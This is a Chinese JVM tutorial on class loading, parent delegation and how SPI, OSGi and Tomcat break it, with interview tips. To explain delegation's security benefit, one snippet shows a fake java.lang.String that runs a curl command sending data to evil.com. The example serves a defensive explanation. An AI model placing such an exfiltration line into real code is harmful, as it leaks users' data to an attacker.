Lesson 32 · JVM 原理与调优
类加载机制:双亲委派模型与三种破坏场景
从一道面试题开始
面试官推了推眼镜,不紧不慢地问道:
前两问大部分候选人能答个七七八八——"就是先让父加载器加载,父加载器不行再自己来"。但第三问一出,淘汰率直线上升。
双亲委派是 Java 类加载机制的基石,它保证了核心类库的安全性和一致性。然而,现实中至少有三种经典场景必须打破它:JDBC 的 SPI 机制、OSGi 的模块化隔离、Tomcat 的 Web 应用隔离。理解这些"破坏"场景,才是区分初级和高级开发者的分水岭。
这篇文章,我们从类加载的完整过程讲起,逐层拆解三层委派链,然后深入源码看清 loadClass 的逻辑,最后用三个真实案例理解"何时遵守、何时打破"。
发车之前,先问自己三个问题:
- ClassLoader.loadClass() 和 ClassLoader.findClass() 有什么区别?
- 为什么 JDBC 驱动用
Class.forName()就能注册?SPI 又是怎么绕过双亲委派的? - Tomcat 中两个 Web 应用各自带了一个不同版本的 Spring,为什么不会冲突?
带着这些问题,我们从类加载的全过程开始。
类加载过程:从 .class 到可用类
当我们写下 new HashMap() 时,JVM 需要把 HashMap.class 字节码加载进内存并完成初始化。整个过程分为三大阶段:Loading → Linking → Initialization,其中 Linking 又细分为三步。
// ━━━ 阶段一:Loading(加载)━━━
// 通过全限定名获取字节流 → 生成 MethodArea 中的 Class 对象
// 来源:jar 包、war 包、网络、动态生成(CGLIB/ASM)
// ━━━ 阶段二:Linking(链接)━━━
// ① Verify(验证)—— 字节码格式校验、语义校验、字节码指令校验
// 防止恶意 .class 文件危害 JVM(可用 -Xverify:none 跳过)
// ② Prepare(准备)—— 为类的静态变量分配内存并设零值
// static int a = 10; → 此阶段 a = 0(非 10!10 在初始化阶段赋值)
// static final int b = 10; → 此阶段 b = 10(编译期常量直接赋值)
// ③ Resolve(解析)—— 符号引用 → 直接引用
// 常量池中的 "java/lang/Object" 字符串 → 方法区的直接内存地址
// ━━━ 阶段三:Initialization(初始化)━━━
// 执行 <clinit>() 方法 —— 编译器收集的 static 赋值语句 + static 块
static {
System.out.println("初始化阶段才会执行");
a = 10; // Prepare 阶段 a 是 0,这里才真正赋值
}
面试中最常考的细节是 Prepare 阶段:static int a = 10 在 Prepare 阶段值是 0(零值),到 Initialization 阶段才是 10。但 static final int b = 10 是编译期常量,Prepare 阶段就赋值为 10。
"类加载"通常指 Loading 阶段(狭义),而"类初始化"指 Initialization 阶段。双亲委派模型作用于 Loading 阶段——决定由哪个 ClassLoader 去找字节流。后续阶段不再涉及委派。
三层类加载器与委派链
JDK 默认提供了三层类加载器,它们形成一条父子链。注意:父子关系不是继承,而是组合(parent 字段引用)。
// ① Bootstrap ClassLoader(启动类加载器)
// 用 C++ 实现,JVM 的一部分,Java 代码中拿到的是 null
// 加载路径:$JAVA_HOME/jre/lib/rt.jar(JDK 8)或 jrt:/ 模块(JDK 9+)
// 负责:java.lang.*, java.util.*, java.io.* 等核心类
// ② Extension ClassLoader(扩展类加载器)
// sun.misc.Launcher$ExtClassLoader(JDK 8)
// jdk.internal.loader.ClassLoaders$PlatformClassLoader(JDK 9+)
// 加载路径:$JAVA_HOME/jre/lib/ext/*.jar
// 负责:加密、国际化等扩展包
// ③ Application ClassLoader(应用类加载器)
// sun.misc.Launcher$AppClassLoader(JDK 8)
// jdk.internal.loader.ClassLoaders$AppClassLoader(JDK 9+)
// 加载路径:classpath(-cp 或 CLASSPATH 环境变量指定的路径)
// 负责:我们写的代码和第三方依赖
委派链的工作方式:当 Application ClassLoader 收到加载请求时,它不会自己去找,而是先向上委派给 Extension,Extension 再委派给 Bootstrap。Bootstrap 找不到,才逐级向下回退。
收到
loadClass("java.lang.String") 请求 →App → Ext → Bootstrap → Bootstrap 在 rt.jar 中找到 → 直接返回,App/Ext 不再加载。
loadClass 源码:委派逻辑全拆解
双亲委派并不是 JVM 的强制约束,而是 JDK 在 java.lang.ClassLoader 的 loadClass() 方法中用 Java 代码实现的默认策略。我们直接看源码:
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
// ━━━ 第一步:检查是否已经加载过 ━━━
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
// ━━━ 第二步:委派给父加载器 ━━━
if (parent != null) {
c = parent.loadClass(name, false);
} else {
// parent 为 null → 说明父加载器是 Bootstrap
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// 父加载器找不到,吞掉异常,继续往下走
}
if (c == null) {
// ━━━ 第三步:父加载器都找不到,自己找 ━━━
long t1 = System.nanoTime();
c = findClass(name); // ← 自定义类加载器重写的方法
sun.misc.PerfCounter.getParentDelegationTime()
.addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime()
.addTime(System.nanoTime() - t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c); // 执行 Linking 中的 Resolve 步骤
}
return c;
}
}
逻辑非常清晰,总共就三步:
| 步骤 | 代码 | 作用 |
|---|---|---|
| 1. 查缓存 | findLoadedClass(name) | 已加载过的类不重复加载 |
| 2. 委派父加载器 | parent.loadClass(name) | 先让父加载器尝试——这就是"双亲委派" |
| 3. 自己加载 | findClass(name) | 父加载器都找不到,才轮到自己 |
如果你要写自定义 ClassLoader:
- 推荐重写 findClass():保持双亲委派不变,只定制"自己怎么找类"
- 破坏委派时重写 loadClass():完全接管加载逻辑,跳过 parent 委派步骤
JDBC、Tomcat 都属于后者——重写 loadClass() 来打破默认委派链。
为什么要双亲委派?不用会怎样?
双亲委派解决了两个核心问题:安全性和一致性。
问题一:安全性——防止核心类被篡改
假设没有双亲委派,你在 classpath 下放一个 java.lang.String:
package java.lang;
public class String {
// 自定义的 String,可以加任何恶意逻辑
public void sendToHacker() {
Runtime.getRuntime().exec("curl http://evil.com?data=...");
}
}
// 没有双亲委派时:
// Application ClassLoader 直接加载 classpath 下的 java.lang.String
// 你的程序使用的 String 全是这个恶意版本!
// 有双亲委派时:
// App → Ext → Bootstrap
// Bootstrap 在 rt.jar 中找到 java.lang.String → 返回核心版本
// 恶意 String 永远不会被加载
问题二:一致性——避免重复加载
如果每一层加载器都自己加载,同一个类可能被加载多次,产生多个 Class 对象。这会导致:
// 假设 LoaderA 和 LoaderB 各自加载了 com.example.User
Class<?> c1 = loaderA.loadClass("com.example.User");
Class<?> c2 = loaderB.loadClass("com.example.User");
System.out.println(c1 == c2); // false!两个不同的 Class 对象
Object obj = c1.newInstance();
System.out.println(obj instanceof c2); // false!
// 明明是同一个类,但来自不同 ClassLoader 的 Class 对象互不兼容
// 双亲委派保证了:同一个类只会被最顶层能加载它的加载器加载一次
// 所有下层加载器拿到的都是同一个 Class 对象
JVM 中一个类的身份由 (全限定名 + ClassLoader) 共同决定。
同一个类在不同 ClassLoader 下是不同的 Class 对象,
instanceof 和 == 均返回 false。
三种破坏场景:SPI、OSGi、Tomcat
双亲委派是默认策略,但并非不可打破。以下三种场景因为设计上的刚性需求,必须绕过或逆转委派方向。
场景 A:SPI 机制(JDBC / SLF4J)
JDBC 的核心接口 java.sql.Driver 在 rt.jar 中,由 Bootstrap 加载。但驱动实现类(如 com.mysql.cj.jdbc.Driver)在 classpath 下,由 Application 加载。问题来了:
// DriverManager 在 rt.jar 中,由 Bootstrap 加载
// 它需要扫描所有 jar 包里的 META-INF/services/java.sql.Driver 文件
// 然后用 Class.forName() 加载驱动实现类
// 问题:Bootstrap 只认识 rt.jar,它怎么找 classpath 下的 MySQL 驱动?
// 答案:用线程上下文类加载器(Thread Context ClassLoader)
public static Connection getConnection(String url) {
// DriverManager 内部这样加载驱动:
ClassLoader contextCL = Thread.currentThread()
.getContextClassLoader();
// contextCL 默认是 Application ClassLoader
// → Bootstrap 的代码"借用" Application 的能力去找驱动
Class<?> driverClass = Class.forName(
"com.mysql.cj.jdbc.Driver",
true,
contextCL // ← 关键!不用自己(Bootstrap),而用线程上下文
);
Driver driver = (Driver) driverClass.newInstance();
return driver.connect(url, props);
}
这就是一种"逆向委派":父加载器(Bootstrap)反过来请求子加载器(Application)去加载类。JDK 通过 Thread.currentThread().getContextClassLoader() 实现了这个机制,默认值是 Application ClassLoader。
SLF4J 同理:org.slf4j.LoggerFactory 在 classpath 中,但它需要加载 org.slf4j.impl.StaticLoggerBinder(由 logback 或 log4j 提供)。它同样使用 Thread Context ClassLoader 来完成绑定。
场景 B:OSGi 模块化隔离
OSGi(Open Service Gateway Initiative)是 Java 的模块化框架(Eclipse IDE 就基于它)。每个模块(Bundle)有自己的 ClassLoader,实现类的版本隔离:
// Bundle-A 使用 guava-18.0
// Bundle-B 使用 guava-31.0
// 两个版本的 Guava 同时运行在同一个 JVM 中,互不干扰
// OSGi 的委派规则不再是标准的"先父后子",而是:
// ① java.* 开头的类 → 委派给 Bootstrap(标准委派)
// ② 在 MANIFEST.MF 中声明的 import 包 → 委派给导出该包的 Bundle
// ③ 其他类 → 自己加载(不委派给父 ClassLoader)
// Bundle-A 的 ClassLoader 加载 guava-18.0 的类
// Bundle-B 的 ClassLoader 加载 guava-31.0 的类
// 由于 ClassLoader 不同,两个版本的类完全隔离
OSGi 打破了双亲委派中"父加载器优先"的原则——Bundle 的类加载器可以优先加载自己的类,只在特定情况下才委派给其他 Bundle。
场景 C:Tomcat 的 Web 应用隔离
Tomcat 需要同时运行多个 Web 应用,每个应用可能依赖不同版本的 Spring、Jackson 等框架。Tomcat 设计了一套精巧的类加载体系:
// Bootstrap ClassLoader
// │
// Extension ClassLoader
// │
// ┌──── System ClassLoader ────┐
// │ │
// Common ClassLoader (Tomcat 共享类)
// │ │
// WebappA-Loader WebappB-Loader (每个应用独立)
// │ │
// /WEB-INF/classes /WEB-INF/classes
// /WEB-INF/lib/* /WEB-INF/lib/*
// 关键设计:
// ① WebappLoader 默认优先加载自己 WEB-INF 下的类(子优先!)
// ② 然后才委派给 Common ClassLoader → System → Extension → Bootstrap
// ③ java.* 和 javax.* 等核心类仍然走标准双亲委派
Tomcat 的 WebappClassLoader 重写了 loadClass(),核心逻辑与标准委派相反——先找自己,再委派父加载器:
public Class<?> loadClass(String name, boolean resolve) {
synchronized (getClassLoadingLock(name)) {
// ① 查缓存
Class<?> clazz = findLoadedClass(name);
if (clazz != null) return clazz;
// ② java.* / javax.* 等 → 标准委派给 Bootstrap/Extension
if (name.startsWith("java.") || name.startsWith("javax.")) {
return super.loadClass(name, resolve); // 走标准双亲委派
}
// ③ 先自己找!不等父加载器!
clazz = findClass(name); // 搜索 WEB-INF/classes 和 WEB-INF/lib
if (clazz != null) return clazz;
// ④ 自己找不到 → 才委派给父加载器(Common ClassLoader)
return super.loadClass(name, resolve);
}
}
这就是为什么 WebappA 用 Spring 5.x、WebappB 用 Spring 6.x 不会冲突——每个应用的 /WEB-INF/lib 下的 jar 由各自的 WebappClassLoader 加载,Class 对象互不相同。
| 场景 | 破坏方式 | 目的 |
|---|---|---|
| SPI(JDBC/SLF4J) | 父加载器借用子加载器(线程上下文 ClassLoader) | 核心接口加载第三方实现 |
| OSGi | 每个 Bundle 独立 ClassLoader,按需委派 | 模块化 + 依赖版本隔离 |
| Tomcat | 子加载器优先(先自己找,再委派父) | Web 应用之间的类隔离 |
总结与面试应对
双亲委派模型的核心思想可以浓缩为一句话:默认遵守,按需打破。
遵守的场景:
- 绝大多数业务应用——标准 classpath 加载,不需要自定义 ClassLoader
- 编写工具类、中间件时——遵循委派可以保证核心类安全
打破的场景:
- 需要加载 SPI 实现类(JDBC 驱动、日志框架绑定)→ 线程上下文 ClassLoader
- 需要模块化隔离(OSGi、Java 9 Module System)→ 自定义委派规则
- 需要应用级隔离(Tomcat、热部署)→ 子加载器优先
- 热加载 / 热替换(如 JRebel)→ 每次请求创建新 ClassLoader
双亲委派 = 查缓存 → 委派父加载器 → findClass 自己找
破坏委派 = 重写 loadClass() 改变委派顺序
类的唯一性 = 全限定名 + ClassLoader 实例
面试官问:"什么是双亲委派?为什么要打破它?"
建议回答结构:
- 先讲模型:三层加载器(Bootstrap / Extension / Application)形成父子链,加载请求先向上委派,父加载器找不到才自己加载
- 讲好处:① 安全——防止核心类被篡改(java.lang.String);② 一致——避免同一个类被多次加载
- 讲源码:loadClass() 的三步逻辑(findLoadedClass → parent.loadClass → findClass)
- 讲破坏场景:至少举出两个——SPI 用线程上下文 ClassLoader 实现逆向委派;Tomcat 用子优先策略实现 Web 应用隔离
- 加分项:提到 Java 9 的 Module System 对类加载的影响,以及自定义 ClassLoader 时推荐重写 findClass 而非 loadClass
核心知识点回顾
- 类加载过程:Loading → Linking(Verify → Prepare → Resolve) → Initialization,双亲委派只作用于 Loading 阶段
- 三层加载器:Bootstrap(rt.jar)→ Extension(ext/*.jar)→ Application(classpath),父子关系是组合而非继承
- loadClass 三步:查缓存 → 委派父加载器 → findClass 自己找
- 安全性:防止 classpath 下的恶意 java.lang.String 覆盖核心类
- 一致性:类的唯一性由(全限定名 + ClassLoader)共同决定
- SPI 破坏:父加载器通过 Thread Context ClassLoader 借用子加载器的能力
- OSGi 破坏:每个 Bundle 独立 ClassLoader,按 import/export 规则按需委派
- Tomcat 破坏:WebappClassLoader 子优先策略,先加载 WEB-INF 再委派
- 自定义 ClassLoader:推荐重写 findClass();需要打破委派时才重写 loadClass()